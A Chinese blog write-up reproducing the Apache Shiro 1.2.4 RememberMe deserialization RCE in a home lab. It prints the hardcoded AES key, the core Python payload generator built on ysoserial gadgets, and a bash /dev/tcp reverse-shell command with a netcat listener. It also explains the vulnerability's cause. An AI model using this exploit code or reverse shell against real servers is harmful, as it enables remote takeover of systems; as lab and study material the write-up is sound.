Shiro RememberMe 1.2.4 反序列化RCE实践
Shiro作为Java的一个安全框架,其中提供了登录时的RememberMe功能,让用户在浏览器关闭重新打开后依然能恢复之前的会话。而实现原理就是将储存用户身份的对象序列化并通过AES加密、base64编码储存在cookie中,只要能伪造cookie就能让服务器反序列化任意对象,而1.2.4版本及以下AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞【6】;
整个漏洞的测试和利用流程如下:
1、环境说明:
(1)靶机:VM装kali, IP:192.168.40.130
攻击机:win10物理机,IP:198.168.40.129
(2)下方参考有kali配置docker和shiro的说明,配置好后用物理机访问虚拟机如下:
2、(1)探测:在login界面随便输入账号,点击登陆,然后抓包,发现返回包的set-cookie有rememberMe=deleteMe字样,说明对方使用了shiro
(2)https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 在这里下载别人已经写好的工具;本人在内网做测试,没有公网地址,也没有VPS,加上这个漏洞也没有回显,这里接用dnslog测试RCE是否成功。
- 先在dnslog申请个子域名:jv39jb.dnslog.cn
- 再用这个刚才下载的python脚本生成payload:ping一下刚才申请的那个域名
payload拼接到cookie(去掉原来的jession字段,只用生成的这个payload),然后发包:
再去dnglog查看,已经ping了,充分说明这个漏洞是存在并且可以利用的;
3、建立反弹shell:靶机和攻击机都在192.168.40网段,是可以让靶机反弹shell到攻击机的;建议先关闭window自带的defender防火墙,避免链接被拦截;
(1)攻击机是windows,先下载一个netcat(https://eternallybored.org/misc/netcat/),再把netcat的路径写入环境变量,我这里在4444端口监听:
(2)所有流程重走一遍:先生成payload,这次换成反弹shell:
生成的shell发出去:
成功接受到靶机kali 的反弹shell:前面有报错,并且后面的shell也没法查看home目录的文件;无奈之下把错误提示google一番,发现是shiro在docker运行导致的,这个反弹shell就是靶机docker环境的shell,并非靶机的root shell,这是不是侧面说明了在docker中启动各种服务更安全了(由于docker的隔离,反弹shell权限受限)?
这里直接在靶机下运行payload:bash -i >& /dev/tcp/192.168.40.129/4444 0>&1,反弹shell如下(kali路径有中文,所以反弹回来的shell有乱码):一切正常!
4、做完了测试,最重要的就是学习这个RCE的原理了;Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:
- 获取Cookie中rememberMe的值
- 对rememberMe进行Base64解码
- 使用AES进行解密
- 对解密的值进行反序列化
我个人觉得最大的问题出在了AES加密这里;总所周知,AES是对称加密,服务端和客户端用的key都是一样的;shiro的开发人员给了默认的key,如下:极易导泄露;(这里多说一句:很多勒索病毒都用非对称加密算法的,根据客户端的mac、硬盘或其他硬件id生成密钥对,公钥在客户端加密,私钥保留在自己的服务端;每个客户端都有单独的解密私钥,私钥之间没任何关系,互相不影响)
拿到AES的key后,就可以开始构造payload了:先明确需要服务器执行的命令,然后base64编码,最后用上面的这个key加密,整个payload的构造代码在shiro_1.2.4.py中,核心代码如下:
def encode_rememberme(data, module): # module is JRMPClient or CommonsCollections2 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', module, data], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv)#用公开的key加密 file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def generate_cookie_rememberme(file_path, data): file_path = file_path sys_argv_red = data ip_port_pattern = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}$') switch_result = ip_port_pattern.search(sys_argv_red) if switch_result is not None and switch_result is not "": try: payload_rebound = encode_rememberme(sys_argv_red, 'JRMPClient') except Exception as error: print("Generate cookie Error: {0}: {1}".format(Exception, error)) return False cookie = "rememberMe={0}".format(payload_rebound.decode()) print("Generate cookie success\n") if file_contents_operate(file_path, method='w', contents=cookie): print("{0}".format(cookie)) print("\ncookie value in payload.cookie.txt\n") return cookie else: print("!!!Cookie rememberMe write file error\n") print("{0}".format(cookie)) return False else: string = str(base64.b64encode(sys_argv_red.encode(encoding="utf-8")), encoding="utf-8") #payload用base64编码 bash_java_base64_encode_str = "bash -c {{echo,{0}}}|{{base64,-d}}|{{bash,-i}}".format(string) try: payload_command = encode_rememberme(bash_java_base64_encode_str, 'CommonsCollections2')#编码后的payload再加密 except Exception as error: print("Generate cookie Error: {0}: {1}".format(Exception, error)) return False cookie = "rememberMe={0}".format(payload_command.decode()) print("Generate cookie success\n") if file_contents_operate(file_path, method='w', contents=cookie): print("{0}".format(cookie)) print("\ncookie value in payload.cookie.txt\n") return cookie else: print("!!!Cookie rememberMe write file error\n") print("{0}".format(cookie)) return False
靶机收到cookie后,先解密,再解码,最后进入这里的反序列化函数,如下;这里需要注意的是Shiro并不是使用原生的反序列化,而是重写了ObjectInputStream.resolveClass()方法,最大的坑就在这了: resolveClass未采用class.forName,而是ClassLoader.loadClass();更详细的反序列化漏洞原因解析,可参考【9】:Shiro RememberMe 漏洞检测的探索之路;
参考:
1、https://cloud.tencent.com/developer/article/1556595 Apache Shiro反序列化远程代码执行复现及“批量杀鸡”
2、https://blog.csdn.net/weixin_44067239/article/details/106918315 Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker
3、https://www.meiyoubug.com/article/79567.html kali-2020配置docker
4、https://wh1te.fun/2020/06/21/Apache%20Shiro%20%3C%201.2.4%20RCE%20%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/ Apache Shiro < 1.2.4 RCE 漏洞复现与利用
5、https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 利用的payload
6、https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ Shiro 1.2.4 反序列化漏洞
7、https://blog.csdn.net/zoulonglong/article/details/79552813 python3.6 错误: ModuleNotFoundError:No module named "Crypto"
8、https://p0rz9.github.io/2019/07/18/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ Shiro反序列化漏洞分析
9、https://mp.weixin.qq.com/s/jV3B6IsPARRaxetZUht57w Shiro RememberMe 漏洞检测的探索之路